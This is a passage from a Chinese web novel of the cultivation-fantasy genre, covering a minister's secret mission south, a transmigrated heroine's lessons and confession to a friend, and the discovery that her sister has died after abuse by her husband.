柳卿知自然做好了这些准备,因此她既没有大张旗鼓,也不打算私下访问,毕竟这两种办法都是对于寻常情状而言的:只抓到其中几个贪赃枉法的,想要拔出萝卜带出泥地找出其他涉案人。 柳卿知此行并非此种情状:她对所有涉案人的姓名心知肚明。 前些年那个器修打造出洞玄——也就是那个可以测出灵根和天赋的法器时, 苍韫桢就从章存舒那里得知了此事。那时的苍韫桢还是公主,尚未坐上皇位, 因此对于洞玄被仙盟据为己有一事无可奈何,但她也向章存舒保证, 她会保证这几年内仙盟不会做出私自制定法则之举。 等到她坐上皇位, 首先做的几件事之一,就是从仙盟那里要来了洞玄。 因此临行前苍韫桢便已经知晓了所有涉案人的姓名和所作所为,让柳卿知南下只是让她做个最近熟悉起来的活计——监斩官。 “要不是朝安还有一群蛀虫, 我早就南巡去了。不然那些人上哪儿喊冤呢?柳相铁面无私, 可不会听他们废话啊。”苍韫桢那时坐在御书房的椅子上笑着说。 至于方才她离开时说的,那也确实不是假话。严骛此行并没有带着洞玄——因为此物在柳卿知身上,并且还是方才苍韫桢来归墟临时交给她的。 洞玄这一类用于勘破的法器所携带的灵气太过强势,如果最初与严骛同行时就带在身上势必会被他感觉到,但来了归墟就没有这顾忌了, 因为洞玄携带的灵气再强势也只是一个法器,镇山灵器的威压自然会把它覆盖得不泄露一丝一毫。 至于离开归墟后会否引人注意——“带着它不就是为了引起注意?”——苍韫桢把洞玄交给她时是如此回答的。 “那时我收回洞玄时闹的动静,当今朝堂里还喘气儿的应该都还记着,带着这个也省得同他们多费口舌。” 苍韫桢接手时的朝廷倒不像腐肉生蛆,虽然她对朝堂中的许多人颇为看不惯,但彼时朝廷确实没有烂到那种程度,它更像是参天的树上缠满了各式各样的藤,有危害不那么大仅仅是攀附的,有反客为主汲取树木营养的,一朝扯落,参天大树便会轰然倒塌。 因此大刀阔斧地改革,一把扯掉所有的藤蔓是不可行的,因为他们看准了她只有这一棵树可以依靠,一旦倒塌便似天塌地陷,故而即便藤蔓缠身她也会继续忍受。 所以苍韫桢这几年始终在种树,同时不动声色地、循序渐进地把原来那棵树上的藤蔓扯落下来,现如今柳卿知去南方要除的,便是最后一批。 柳卿知勒住缰绳,洞玄被她的体温捂热,在她颈间伴随着她的动作而晃动。 苍韫桢在她面前把玩过无数次这枚十八面骰,她对它的每一面都无比熟悉,所有的图案都早已铭刻于心。 柳卿知一抖缰绳:“驾!” 她已经迫不及待要看见苍韫桢种下的那棵树枝繁叶茂的样子了。 **** 修补完所有的卷册,又通过实例具体地感受了一番任嵩华的实力,关云铮精神和躯体双重受创,和楚悯一起垂着双手回各自的小院了。 当然,主要是因为运用术法的时间太久,灵气消耗过多,至于任嵩华练剑劈开试心玉这事,如果不是她灵气耗竭,这件事对她来说会比较像是强效肾上腺素。 很想让自己燃起来但燃气没了。关云铮疲惫地想。 灵气使用过度的感觉很奇妙,可能是她才刚引气入体没多久并且尚未筑基,她感受到的和她过往在修仙中看到的描述不太一样。 里修道者灵气耗尽了如同受了重伤,什么术法也使用不出来,甚至有些需要用灵气辅助运转的武器和法器都无法正常使用。 但她此刻更像是睡眠不足导致的头昏脑涨,并不痛苦,只是困得快厥过去了。 闻越因为被两位师妹体恤,今日几乎没抄几页纸,神清气爽手脚有力,走在关云铮旁边时都快一步一蹦了。 关云铮都没力气无语了,一路拖拖拉拉走到自己小院,简单告了个别后推开房门,“咣当”一声把自己砸进床里。 实在是困乏到了极点,她就先入土为安,不是,入眠了。 ——第二天一早关云铮是被一阵琴声吵醒的。 其实也不是很吵,但实在太杂乱无序了,弹得东一榔头西一棒槌的,但凡规律点她还能在半梦半醒间当个白噪音听,扭头继续把自己陷进被子里。 她行尸走肉般地下了床,简单洗漱过后推开门,果然看见苏逢雨和楚悯坐在门前的石桌边,两人面前各放着一张琴。 蒲飞鸢坐在秋千上,听见开门声,目光很快朝她看过来。 关云铮憋哈欠憋得眼角泪花都出来了,过了好一会儿才说:“你们吃过早饭了?” 蒲飞鸢像是就等着她开口似的,立刻答道:“尚未,等你带我们去蹭饭。” 关云铮机械地点点头:“那先吃早饭去吧。”她正准备关上房门往外走,想起昨晚苏逢雨就没吃东西,问了一句,“苏修士去吗?” 苏逢雨看起来心情一般:“不去,辟谷。” 初见时就已经见识过了苏逢雨的性格,关云铮也没介意,自己跟楚悯手拉手先走了。 两人沿着连廊走了一会儿,都快走过拐角了仍未见到蒲飞鸢,估计她是不会来了。 关云铮很有“背后蛐蛐人”的自觉,这时才看向楚悯问道:“昨日师父不是说,让我们去蒲先生的住处去上课吗?怎么她俩一大早来我们小院了?” 楚悯摇了摇头:“我也不知,我听见琴音才醒来,过来时两位先……修士就是这样了。” 关云铮疑惑:“这样?”这样是哪样? 楚悯的神色也有些疑惑:“我觉得两位修士相处时有些奇怪,好像吵过一架似的,但又说不上来是哪里不对。” 关云铮其实有个猜测,但她觉得自己纯粹是搞同人的时候把脑子搞出问题了,这个猜测活像是在拉娘,于是也没跟楚悯说,只点了点头说:“师父也不说,她们也不说,我们就只能胡乱猜测。等日后她们愿意说了再问吧,总归还是愿意教我们的,我们就虚心听着呗。” 老师之间的恩怨情仇还是不要随意掺和的好,关云铮现在还能想起昨日苏逢雨对章存舒说出那句“你说这话是以什么立场”时的语气,心有余悸地想。 两人抵达饭堂时发现李演不在,不过这倒是不奇怪,李演是个闲不住的性格,每天做完饭就开始行踪不定,师门都习惯了。 奇怪的是闻越也不在。 关云铮在桌边坐下:“师姐,师兄呢?” 连映把筷子递给楚悯:“他随李厨一道下山去了,说是办点事情。” “随李厨一道办事?”关云铮叼着勺子,“要采买食材吗?” 连映笑着摇摇头:“这我就不知晓了,等他回来就知道了。” **** 楚悯跟着苏逢雨回自己的小院,聆听琴修基础知识去了,关云铮则被蒲飞鸢带着在石桌边坐下。 “听苏修士说那日下山你们遇见了?当时用的什么剑招,给我看看。”蒲飞鸢开门见山地说道。 关云铮也很直白地疑惑道:“苏修士没同您说?” 她本意只是寻常地问一句,毕竟苏逢雨把她俩遇见的事说了,却没说打架的细节也挺符合她这个人的性格的,她可能单纯就是不关心别人用的什么招数。没想到蒲飞鸢听了这话脸上的表情顿时变得有几分复杂:“嗯……她大概是忘了,你来说吧。”?不对劲。蒲飞鸢这么直给的人什么时候讲话还会“嗯……”了?这么难以言喻吗?昨日两人究竟说什么了? 她按下自己心中的一团疑惑,老实把自己那日用的剑诀说了一遍,又起身去房中拿出摇羽,给蒲飞鸢演示了一遍动作。 蒲飞鸢总结得很快:“出招还是有些犹疑不定,当时对面多少人?” 关云铮本来想辩解一句现在犹疑不定是因为被她盯着,以前考试要是监考老师走到身边,确定的答案她都能写得犹疑不定,但很快她又屈服了,事实上那日她出招时比现在还要犹豫,因为压根没实战过,心里完全没底。 因此她沮丧道:“五个。” 蒲飞鸢挑眉:“这么厉害?”?这么包容?还以为问人数是要让她以后临危不乱,结果怎么是表扬式教育? “你的剑如今和你似乎配合不错,御剑我看看。”蒲飞鸢又说。 关云铮悬停摇羽,刚踩上去站稳,准备操纵它飞行时,脚下的剑一阵剧烈的晃动,把她从剑上摔下来了。 蒲飞鸢压根没防备摇羽发难,愣了一下:“它这是做什么?” 关云铮也很茫然,坐在地上看向摇羽:“你这是做什么?” 虽然归墟不冷,席地而坐也挺舒服,但是这已经是她三天之内第二次摔在地上了,这种席地而坐还是不要再有第三次的为好。 摇羽没动静。 关云铮皱眉:“先前都能说话了,怎么今日……”她回头看了眼蒲飞鸢,“不如先生检查点别的剑招?它今日可能心情不大好。” 蒲飞鸢失笑:“你倒是愿意包容。” 关云铮从地上爬起来,把摇羽拿回手里,嘀咕了一句“还能离咋的”,在蒲飞鸢的注视下开始听从指示复习别的剑招。 开了一会儿小灶后,楚悯那边讲课的声音也停了,两人似乎开始了实|操,蒲飞鸢也突兀地停下了指示,隐约显露出对那边的动静很感兴趣的神色。 关云铮感觉自己看明白目前的形势了,于是试探着问:“要不过去看看?苏修士介意有人旁观吗?” 蒲飞鸢笑着说:“你比较讨人喜欢,你去问问?” 关云铮倍感莫名,平时说她讨人喜欢,受众要么是师门,要么是师父的师门,那还算可以理解,毕竟大家对她都非常友好(除了凌风起),但是这句话在苏逢雨面前完全是不成立的吧?谁都能看出来面前这位教她们武器的,才更讨那位琴修的喜欢啊? 但她都这么说了,自己总不好得了便宜还卖乖,关云铮认命地走过去,从月洞门后探出脑袋:“苏修士,我可以过来旁听吗?” 苏逢雨弹琴的手一顿:“随你。” 关云铮悄悄察言观色,然后故意扭过头喊蒲飞鸢:“先生,苏修士说可以来旁听。” 苏逢雨陡然弹错一个音。 关云铮和坐在桌边的楚悯对视了一眼。 确认过眼神,一定有问题。 因为苏逢雨和楚悯是对着坐的,所以不论选哪个位置都会与两人挨着,所以蒲飞鸢走过来没多犹豫就在其中一个位置坐下了。 关云铮在最后一个空位上坐下,听苏逢雨给楚悯继续弹奏方才那支曲子,弹完后解释了一句:“这是清心诀。” 楚悯点点头:“乐曲与术法的清心诀有何区别?” 苏逢雨弹完琴收回手:“无甚区别。只是有时两方对战,术法无法触及,琴曲只要被听见便可发挥作用。” 楚悯明白了,又问道:“苏修士可有曲谱?学生日后巩固也方便一些。” 苏逢雨从乾坤袋里摸出一本册子:“这谱子有些旧了,个别音有误,我在上面圈画出来了,若是看不懂再问我。新的琴谱我还在写,过几日再给你。” 楚悯伸出双手接过:“多谢修士。” 苏逢雨“嗯”了声:“今早就先讲这些,还有什么问题要问?” 关云铮悄悄举手:“我有一问,但可能与教习无关,能问吗?” 苏逢雨给了个眼神,示意她直说。 昨日苍韫桢同她形容的“苏逢雨”实在令人印象深刻,加上昨晚章存舒说的话,这个问题她实在是很想知道答案,于是获准后便问道:“您不愿被称作先生吗?”—— 作者有话说:热心人士鱼让我预告一下当初给云崽起名时的名字梗,总之很好笑大家可以做好准备(?) 第58章 其实称呼苏逢雨为“修士”没什么问题, 她还没正式成为归墟请来的教习先生,或者章存舒喊她修士喊习惯了一时没改口,都有可能是这样叫的原因。 她昨晚也只是随口一问, 料想着左不过也就那些原因, 谁料章存舒说:“这问题不如你们明日问她,想必她会有比我更精彩的答案。” 那就说明了章存舒是特意这样叫的, 不存在习惯了一时没改过来的原因, 也并非因为苏逢雨尚且不是正式的教习先生才这样称呼,这个称呼是苏逢雨自己指定的,并且听章存舒的意思,苏逢雨还很有可能不愿被用“先生”称呼。 平心而论,这件事没什么特别的,每个人都会有各自在意的事, 这些事在别人眼里或许只是一些无关轻重的小细节。 但关云铮无端想起自己还没有穿越过来之前,频繁在网络上看到的辩论, 关于该用“先生”还是“女士”来称呼一位民国时期的女作家。因此当苏逢雨表示随便问什么问题时,她就提出了这个疑问。 说实话, 问完的当下她就有点后悔, 因为这个问题算不得很友好,她自忖甚至有几分冒犯,但话已出口, 覆水难收, 她只好忐忑地等待着苏逢雨表态。 苏逢雨没生气,应该说她的神情没什么变化:“先生是给男人的称号。” 嗯……感觉苏逢雨在这件事上的态度越来越像“现代人”了,只不过她比网络上的某些过激网民温和多了。 楚悯试探着:“那蒲先生……?”可以这样叫蒲飞鸢吗? 蒲飞鸢还没表态,苏逢雨先面无表情道:“关我什么事,问她去。” 关云铮汗流浃背了:也不是问您啊……而且现在您二位不就挨着坐呢吗…… “谁说的教书育人的只能是男人?凭什么男女都能做的事, 到了女人身上,就得委屈用给男人的称号?朝廷都单独给女子开设科举了,以后教书育人为官为民的不只有男人,为何不能取一个别的称号来称呼这些女人?”一片沉默中,苏逢雨忽然说了一长串话,只是她话音落下后,小院里更安静了。 楚悯和关云铮在思考,蒲飞鸢则露出有些苦恼的神情,只是那神情很短暂,还没等关云铮注意到,就被蒲飞鸢不动声色地按捺下去了:“修士不也挺好的吗?” 苏逢雨居然冷笑了一声,关云铮和楚悯不明所以但下意识一惊,还没等两人想明白她为何冷笑,就听她对着蒲飞鸢说:“我可以不用这个新的称号,但是它不能没有。你一直不明白我究竟想要什么。” 说完苏逢雨就抱着琴起身,头也不回地往外走了。 蒲飞鸢似乎也没料到苏逢雨的动作,坐在原地愣了一会儿才追上去,甚至顾不上跟两位学生解释几句。 关云铮被楚悯叫她名字的声音唤回思绪:“怎么了?” 楚悯把月下逢挪远了些:“在想什么?” 关云铮不答反问:“小悯,你看过话本吗?” 楚悯摇摇头:“未曾,但大概知道一些,讲的都是些情节精彩有趣的故事。怎么忽然说起这个?” 关云铮看着她:“你觉得,我们所在的世界,会是某个人写的话本吗?” **** 柳卿知按照计划,在天色彻底黑沉下来之前抵达了一处驿站,翻身下马后,把缰绳交到听见动静出门相迎的人手中。 “您用过晚膳了吗?”相迎牵马者是个刚及笄的小姑娘,抬头看柳卿知时眼神关切,亮晶晶的。 柳卿知摇头,背着包袱往里走:“后厨还有什么,随意吃些便可。” 那姑娘把马交给驿站内的小厮:“酒肉饭菜都还有,您吃些什么?” 柳卿知失笑:“随你,我不挑。” “那您先进去稍候。”姑娘说完便提着裙摆匆匆跑向后厨了。 柳卿知尚未担任宰相一职的前几年,被苍韫桢假借各种名头在全国范围内调派,时而去离朝安近些的北方,时而又被“左迁”,去西北的荒郊野外任官。而且总是从差些的地方回来便升官,要不了多久又贬,搞得朝中一多半的人都对苍韫桢那段日子的举动一头雾水。 但柳卿知官阶太低,在皇帝面前也说不上话,每次不论是拔擢还是贬谪,都混在一群旁的封赏和惩处里,不算十分引人注意。 朝中自然也有清楚皇帝想做什么的人,个别胆大的还派出心腹去往柳卿知任官之地私自调查,发觉柳卿知无论在何处都只是每日帮着调停些鸡零狗碎,为官几年也没点官威,始终被百姓呼来喝去,这一来二去,也就没了继续探查的念头。 有句俗语叫“屁股决定脑袋”,柳卿知始终觉得这句话无比正确,只是不知道是处在何处的屁股,能有如此智慧的脑袋。 世家门阀一代代传承下来的官位坐久了容易丢掉脑袋,跟踪她去了那么多地方也没看出她在做什么,没查出她管辖的范围之内,还有很多处像此处一样的驿站。 她在桌边坐了会儿,方才的姑娘已经手脚利索地端着饭菜进门了:“您慢用,若有需要我就在门外。” 柳卿知颔首:“多谢。” 那姑娘连忙摇摇头:“您客气了,能帮上您是我的荣幸。” 柳卿知笑了一下:“我白吃白喝你怎么反倒感恩戴德?不要被最初的恩情裹挟,若我是坏人呢?” “您又不是坏人,驿站都是靠您才搭建起来的,怎么能说是白吃白喝。” 柳卿知知道她是要较真了,赶紧抬手示弱:“劳烦你去帮我喂喂马,还有今夜住的房间,也得麻烦你了。” 那姑娘这才罢休,嘴里低声念叨着什么,走出门去了。 柳卿知拿出纸笔给苍韫桢写信,写完后把信纸丢进一旁的火盆里,看着它燃烧殆尽,连灰烬都没剩下。 提前安排好全国各处的驿站有两个原因:一是安插人手方便获取各地的消息,另一便是为了建立通信渠道。 自从她坐上宰相之位,苍韫桢的计划、柳卿知的布局便只有彼此知晓,自然也包括了各处驿站里灯火的位置。 确认信纸被吞噬殆尽后,柳卿知简单收拾了碗筷,走出门去。 天色黑得能漏墨,唯有不远处的马厩和她站立的地方,各自点了一盏昏黄的灯。 **** “如果,我是说如果,我们所处的世界源自某个人写的话本,笔墨构成了此处的山水草木,情节搭建了万事万物运行的法则。而在这一切之上,话本的撰写者将自己的意志倾注于此。” 楚悯神色专注:“倾注意志?你的意思是某些事物的发展不受我们掌控,而是被撰写者的意志掌控?” 关云铮点点头:“还有一种可能,撰写者会把自己的意志投注于笔下某个角色身上,让那个角色说出撰写者本人想说的话。” 楚悯明白她忽然提起这个是想表达什么了,问道:“你觉得苏修士的身上有撰写者的意志?” 关云铮瞬间收敛了脸上凝重的神色,笑着摊开双手,表示自己说的话做不得真:“那倒不是,我只是忽而有个猜测。” 把苏逢雨的清醒言论说成是“撰写者的意志”无疑是另一种不加思考的残忍,就像旁观他人在没顶的泥潭中挣扎求生,没有任何帮助的情况下,艰难探出脑袋求得一点喘息的余地,又残忍地加了一铲子的泥。 一句轻描淡写的“她的言论不过是因为背后有人操纵”,就会抹杀掉这个人成长过程中所有的闪光时刻。 因此关云铮又找补了一句:“只是猜测,没有根据,就是觉得苏修士方才说的话更像是我在,额……” “在别处看来的?”楚悯同她心有灵犀似的,笑着问道。 关云铮被她逗笑,总用“别处”来指代那个不同的世界,小悯都快习惯性接梗了。 她叹了口气,觉得到现在也没什么好隐瞒的了,估计面前的天问奇才早八百年就看出来她魂魄和壳子不是同一个出厂配置了,索性坦白道:“这具躯体并不属于我。” 楚悯愣了一下,但并非因为她所说的话,而是没料到她会在这样的时机下说出这话:“我知道……只是,你大可不将此事告知于我。” 关云铮摇头:“我有不太好的预感,所以此事我必须说给你听。” 她抬手示意楚悯别打断自己,然后尽量用听起来像正常人的语言形容了可能根本不在同一个时空的21世纪,和21世纪颇受欢迎的修仙文题材,说完后看向楚悯:“这样说你能明白吗?” 楚悯没犹豫就点了点头:“其实我并不在意你的魂魄来自何处,虽然我确实在第一次见到你时就忍不住‘问’过,那时我已经得知你的魂魄并不属于此间,但在那之后,我是真心想要与你做朋友。” 说到这楚悯也有点惭愧:“尚未得到你的许可便私自窥探,实属不该。” 关云铮不在意,毕竟这技能对于小悯来说都快成被动了,放入场地就生效的东西有什么办法。 楚悯很快问出她更在意的问题,神色忧虑:“你说这些之前说,‘有不好的预感’?” 关云铮此时反倒有些难以启齿起来,对比起袒露自己的秘密,她更无法开口把原身的事情说出来,但这件事偏又非说不可:“我第一次下山时遇见了鬼灯楼的人,此事你还记得吧?” 楚悯点头:“记得。” 关云铮伸出手指向自己,艰难道:“其中一人说,他见过‘我’,‘我’是个本该死了的人。” 楚悯皱眉:“是他们取了这具躯体的生魂?” 关云铮点头:“这次下山寻找武器,我仍旧想查清此事,被阵法送往天问,在溯洄中‘见到了’她的魂魄。” 楚悯的神色也明显地焦灼起来:“如何?可听到她生前说的话了?或是看到她生前所经之事?” 关云铮摇了摇头:“我只听见她同一个人对话,那人问她‘你当真自愿’?她答‘是,我自愿’,其余什么也没得见。” 楚悯不由得问出了和彼时关云铮想的一样的问题:“自愿?自愿什么?” 但是两人都心知肚明,没有生前的景象支撑,她们是无法得出确切的结论的,最多也只是大胆但毫无依据的猜测。 “献舍当真失传了吗?”关云铮忍不住问道。 楚悯居然有些凶地瞪了她一眼,随后才说:“不许说这话,若你是献舍召来的恶魂,章先生又怎么会看不出,又怎会收你入门。” 关云铮被她一眼瞪懵了,过了好一会儿才安抚道:“好好我不说了,别生我的气。” 楚悯还有些不高兴似的:“献舍时躯体上也需勾画阵法,不可能不留下痕迹,所以必然不是献舍。” 关云铮心想,那大概也不是夺舍了吧,她要是敢说自己是夺舍估计小悯还能横她一眼。 楚悯看她没有要自贬的意思了,神色好些:“是这两次下山都没寻出真相,让你觉得有必要把这件事告诉我吗?” 关云铮点点头:“我希望你也知道此事,知道有这样一个……可怜人。” 连怎么死的都不知道的可怜人。 楚悯轻轻拍了拍她的手背:“一定能查出真相的。” 关云铮正想积极地给个回应,江却已经不打招呼直接从月洞门那边跨过来了,一露面就看向了她:“山下出事了。”—— 作者有话说:剧情戏即将再次启动()剧情苦手真的好喜欢写剧情哈哈,疯狂暴露短板[化了] 第59章 虽然入师门以来总共没同大师兄说过几句话, 但以江却的性子来说,会说出“出事了”这样的话,想必形势已经严重到了无法用言语掩饰的地步。关云铮几乎是第一时间就从桌边站了起来:“可是我家中出了事?” 江却颔首:“小越方才与我传音, 说关家门前……”他停顿了片刻, “挂上了白灯笼。” 坦白说这一刻关云铮不是很难过,也并不觉得震惊, 因为去世的大概是关云筝的父亲, 那个在家庭教育中极有可能缺位的人。但毕竟是原身的父亲,她沉默了短暂片刻:“我这就下山,多谢师兄。” 江却没多说:“我与你同去。” 楚悯也把月下逢收进乾坤袋:“我也去。” **** 闻越下山是和李演一起去谈生意的,先前每次煮奶茶用的水牛乳都是李演取来的,来自同一位农户。农户家中有几头刚产崽的牛,因此还供应得上, 但母牛产崽不可能从年头到年尾都不间断,故而早些时候李演就同那位农户提过一句日后的供应问题。 爱煮奶茶的那位小徒弟每日课业繁忙, 此事倒不那么急迫,只是昨日李演下山时正好碰见闻越的兄长闻逍, 闻逍认得他, 同他打过招呼问他来意,那之后便去和那农户商量来日的合作了。 闻越昨夜修补完卷册回去时还一头雾水,不知道李厨单独找他是有什么事, 听他解释清楚来龙去脉后才说:“行啊, 什么时候去谈?” 李演知道这小子巴不得下山放风:“明日一早。” 闻越没意见,毕竟师门大家都挺喜欢喝这奶茶的,固定了供应后随时都能取用也挺方便。 于是两人当即拍定,今日一早便一同下山了。 展骏早早等在镜溪城入口,见到闻越和李演后行了个礼:“小少爷, 李先生。” 李演连连摆手:“我只是个舞刀弄铲的厨子,算不得什么先生。” 闻越搭了句话:“李厨不必过谦,要是实在不自在,展骏你就也喊他李厨就行。”说完他又好奇道,“那位农户家在何处?” 李演自然知道农户所在,但展骏还是比他们快走两步,在前方带路:“小少爷,其实那位农户是家中庄子里的散户。” 李演笑骂一句:“我就知道。”不然怎么解释闻逍这个大少爷昨日会在那农户家里。 闻越也笑:“我怎么不知道家中庄子里还有养牛的农户?” 展骏一边带路一边为他解释:“实则是耕地用的水牛,打牛犊时候开始养的,那阵子小少爷不在家中,没碰上庄户来汇报。” 闻越点点头:“大哥昨日怎么说?” 展骏一五一十回答:“水牛乳需求少,家主让农户以后定期给归墟留一些。” “没了?这么简单的事还要我特意下一趟山?”闻越疑惑。 展骏一时语塞,李演却没有顾忌,直言:“怎么,你难道不愿意下山?” 闻越忙不迭点头:“愿意愿意,自然愿意。” 三人正要拐过街角往土路的方向走,闻越余光里看见什么,下意识转过头,隔着一段距离望见远处的关家正门。 “展骏。” 展骏应声回头,看他停在原地,走回来几步:“怎么了小少爷?” 闻越感觉自己的声音有点飘:“那些人在做什么,挂白灯笼吗?” 展骏皱眉,顺着闻越的视线看过去:“关家?家主一直注意着关家,怎么可能出了事都……” 他话还没说完,就见身边的闻越已经变了脸色,口中喃喃自语:“我得传信回去,不对,灵蝶太慢了,师父也不一定在门中……” 展骏没敢出声打断他的思绪,和李演一起站在旁边,站成了两根面色忧虑的木桩。 “我得传音给师兄,你们先去农户那,我去关家看看。”闻越撂下一句,迈开步子头也不回地往关家走了。 **** 关云铮和楚悯的御剑术其实都还没到可以独立安稳飞行的水平,楚悯是因为始终有所顾忌,关云铮则是水平完全不稳定,发挥好坏全凭摇羽心情。 也正因此,江却提出楚悯应与他共乘一剑时无人反对,关云铮则在一边低声对出鞘的摇羽碎碎念:“虽然我不知道你方才把我摔下来是发的什么疯,但我请你待会儿别让我摔下来,摔死我你虽然就自由了,但我师父应该不会放过你的。” 摇羽沉默片刻,也压低声音答道:“到底是不是你家出事,你还有心思同我说这些话?” 出事的确实不是她家,不然她怎么可能还在这说地狱笑话。就是这样一个对烂人会开足马力缺德的小女孩,如何呢。 摇羽没得到她的回答,又幽幽地说了一句:“方才你自己没专心,操控不好剑也是正常。” 江却和楚悯已经准备出发了,关云铮连忙踩上剑缀在两人后面,平稳飞行后不忘回怼一句:“我专心就能操控你?这话说得好像你是我的本命剑一样,早先你还每天骂我呢。”假设摇羽当真是她的本命剑——这世上真有这么离谱的本命剑吗? 摇羽没好气:“我怎么不算是你的本命剑了?当日在剑冢是我把剑塞进你手里的,没有那一遭你还能与不熄鼎建立联系吗?” 关云铮条理清晰地挨个反驳过去:“我本来就能与不熄鼎建立联系,不然我怎么进的剑冢?没有这一遭我还能与不熄鼎建立联系,你也能在剑冢里自由自在,反倒是经此一遭没了自由身。”她热衷于和摇羽抬杠,“还有,那是雁翎刀,不是剑。” 摇羽咬牙切齿的:“你就仗着我不敢在这时候摔你。” 关云铮垂眼:“是吗?我倚仗的原来是这个?我还以为是我专心操控,本命剑回应我了呢。” 摇羽被她哽了一句又一句,这下彻底不回话了。 感谢此刻大师兄和小悯都飞在她前方,摇羽又没有实体看不到她的神情——她脸上分明没有方才挤兑摇羽时应有的揶揄和喜色。 根据上次下山关家的情况来说,让他们挂上白灯笼的大概率是那位得了肺结核的家主,但关云铮无端感到惴惴不安,哪怕御剑飞行的高度分明很有限,风声并不呼啸,吸入呼出的气也并不刺骨。 方才她对楚悯说“不好的预感”并不是一句模糊的托辞,自从天问掌门把将隐赠与她,她就始终对一些事情有着强烈的预感。 这种预感很微妙,没有具体的指向,只有心理暗示般的此事会变好或变坏,像是被将隐放大了因果。 因果。 此事又有什么因果? 难道将隐发觉此事有待推敲? 御剑飞行的速度很快,或许摇羽当真是她的本命剑吧,关云铮顾不得在这件事上深想,在镜溪城入口处落了地,便遵循着记忆快步往关家的方向走。 快速走过街角时似乎看见了一片熟悉的衣角,关云铮脚步不太明显地一顿,随即又不动声色地继续往前走。 江却自然注意到了她那点微不可察的停顿,但没说什么,沉默着走在两位师妹身后。 关家宅邸离青镜山下的镜溪城门很近,拐过几个街角后便近在眼前。 这个距离一切都清晰得无法作伪,扎白灯笼的纸张被吹得哗哗作响的声音都能被风送进耳朵里。 无人守门,大门敞开着,地上甚至掉落了一朵纸花,花瓣被人忙乱中踩了几脚,快要被碾进门外的尘土里了。 病了这么久的人去世,居然准备得如此匆忙凌乱……关云铮皱眉,跨进门槛。 门内更是乱得无法想象。 身后那道大门像是隔绝了苦难的屏障,骤然从门外跨进来的一瞬间,关云铮就听见了一阵绝望的、尖细但沙哑的嚎啕。 嚎啕声伴随着模糊不清的语句和恨意强烈的咒骂,声音有些熟悉,应该是原身的母亲。 那种不安的感觉更强烈了,关云铮感觉喉咙发紧,过往那些由于太过痛苦而产生的生理反应就像是镌刻在灵魂里,在这具不属于她的躯体里卷土重来。 她徒劳地攥了一把自己的领子,皱着眉狠狠地咽了一口浊气。 江却看她站在原地许久,上前一步:“哭声应当是来自那边。”他抬手指了一个方向。 关云铮短促地点了点头,顾不上回头安抚一句神色担忧的楚悯,再度迈开步子往江却所指的方向走。 院里的花几乎全部卷了边,花瓣像是被一把大火燎过,全部泛着焦黄的死气。 荷塘里的枯荷残枝与那幅名画一模一样,走上木桥时远远一看,几乎像是冰冷的无机质金属,漆黑的、曲折的,简直不敢相信这样的枝条上曾经绽放过那样的生命。 关云铮停下了脚步。 哭喊就在眼前。 死亡就在眼前。 原身的母亲扑倒在地,而地上躺着一具冰冷的尸体。 不是原身的父亲,不是那位得了肺结核本应不久于人世的关家家主。 是本应嫁给季邕得偿所愿的那个姑娘,原身的妹妹——关云漪。 **** “我未曾向你许诺。”屏风后的人说话听不出情绪。 “可我是跟你们做的约定,是,许诺我的人已经死了,那你呢,你跟他是一起的,你一定也能兑现诺言,对吗?” “不对哦。我不同你这种人做约定,也不会为他那种人兜底。” “你们到底要我怎么样?答应你们的我都做了,还要我做什么才愿意把东西给我?” “别张嘴闭嘴你们你们的,谁跟那人是们。我看你现在说话不是挺有劲的吗,折磨起人来也没见你手软,怎么,你觉得自己还需要那东西?” 屏风后的人像是对这场谈话彻底失去了耐心,从桌案边起身:“我还有事,先告辞了。” “殷掌司!”屏风前的人道破那人的身份。 殷含绮打着扇子的手一顿,眼睛也眯了起来:“你威胁我?” 房里的烛火突兀地闪烁一番,没来由地熄灭了。 “你以为我会在乎你的威胁?”殷含绮笑了一声,越过屏风走到那人面前,“你当我不敢杀你?当我同你说这些话是因为我要接过同门的烂摊子?” “死太便宜你了。”殷含绮重新打起扇子,把脸掩在扇面之后,轻声笑起来。 **** 关云铮木然地朝躺在地上的尸体走去,刚要蹲下查看,就被反应过来的原身母亲一把搡开:“你回来做什么!你怎么还有脸回来!若不是你,若不是你,我的漪儿……” 她的声音早就哭哑了,粗粝得像个声带受损强行说话的老巫婆,此刻伏在尸体身上的画面配上这样的声音,看着居然有几分瘆人。 关云铮好歹学了一个月的功夫,原身母亲那一下只是把她推开了些,推倒她还不太够,因此她站在原地片刻,还是木着脸问道:“我做什么了?我在山上这么久,难道是我害死的她?” 面前的人分明也是“她”的母亲,抬起头来对“她”说话时却带着那样明显、不加遮掩的恨意:“你是不是早就知道……你才会逃到山上去,把我的漪儿往火坑里推,是不是!” 关云铮脸上终于出现了一点表情,她听见自己冷笑了一声:“母亲,是您和季家公子合谋,为了那点抚恤,把我卖上了仙山。火坑,也是您的漪儿自己抢着要往里跳的,我既没哄骗又没推搡,怎么能怪上我呢。” 原身的母亲骤然发难,猛地站起身就要往关云铮脸上抽一巴掌。 关云铮比她反应更快,抬起手一把擒住了她的手腕:“觉得那是个金窝银窝的时候想不起我,想尽办法把自己的宝贝女儿嫁进去,落得这个下场后又怪罪于我……我是您亲生的吗,要让您这样一次次作践?” 站得近了能清楚地看见关云漪身上的伤痕:脖颈上有被绳子勒过的痕迹,手臂上有刀伤和烫伤,哪怕不是被凌虐至死,至少生前也没少承受虐待。 季邕…… 关云铮甩开原身母亲的手,垂落的另一只手握紧了拳头—— 作者有话说:(怒戳键盘) 第60章 “是季邕做的。”在关家夫人凄惨的哭声中, 楚悯听见关云铮用平静的语气说道。 听上去十分平静的关云铮背对着江却和楚悯继续说道:“上次下山我请求闻家大哥出面,取消关家与季家之间的婚约。” 关家夫人没来得及答话,三人身后传来闻越的声音:“是, 那之后便取消了。” 江却和楚悯一起回头, 对上了闻越自责的目光:“我大哥说,你妹妹的……遗体是今日天还未亮时被送回关家的, 走的是少有人经过的后门。” 关云漪身上的伤痕触目惊心, 比电视剧里化的特效妆要恐怖好几倍,关云铮无法避免地再次想起那张图片——割得血肉翻飞的手腕,黑红一片的画面……她不得不克制着情绪,好让自己不要在此时露怯,因此她也没有回头,而是背对着两位师兄和楚悯答道:“此事不怪你。” 怪不了关家和季邕以外的任何人。 再说了, 就算要怪,她这个霸占着原身躯壳的人又有什么资格? 她甚至不知道原身对自己妹妹的感情究竟如何, 无论是怨怼还是惋惜,在不明真相的此刻都是无用的。 “你觉得惯着关云漪, 让她嫁给她想嫁的人是爱她, 是成全,你看到他们是怎么把她送回来的了,天都没亮, 从后门送回来的。门房那时候醒了吗, 